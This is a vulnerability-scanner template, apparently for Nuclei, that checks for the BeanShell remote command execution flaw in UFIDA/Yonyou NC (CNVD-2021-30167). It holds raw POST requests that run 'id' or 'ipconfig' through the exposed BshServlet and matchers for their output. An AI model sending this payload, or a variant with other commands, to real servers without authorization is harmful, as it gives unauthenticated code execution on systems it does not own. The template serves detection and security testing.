id: CNVD-2021-30167

info:
  name: UFIDA NC BeanShell Remote Command Execution
  author: pikpikcu
  severity: critical
  description: UFIDA NC BeanShell contains a remote command execution vulnerability in the bsh.servlet.BshServlet program.
  reference:
    - https://mp.weixin.qq.com/s/FvqC1I_G14AEQNztU0zn8A
    - https://www.cnvd.org.cn/webinfo/show/6491
    - https://chowdera.com/2022/03/202203110138271510.html
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 10
    cwe-id: CWE-77
  metadata:
    max-request: 2
  tags: cnvd2021,cnvd,beanshell,rce,yonyou

http:
  - raw:
      - | #linux
        POST /servlet/~ic/bsh.servlet.BshServlet HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        bsh.script=exec("id");
      - | #windows
        POST /servlet/~ic/bsh.servlet.BshServlet HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        bsh.script=exec("ipconfig");

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "uid="
          - "Windows IP"
        condition: or

      - type: word
        words:
          - "BeanShell Test Servlet"

      - type: status
        status:
          - 200
# digest: 490a0046304402204c68147fa92e08857a6c0b79bd9fec56f4e80397bd5f67365061730b8c35507502200dab5a42e472ba22b293104ee2b265e9a14995ac4e38a11db07f2e41e599d6fa:922c64590222798bb761d5b6d8e72950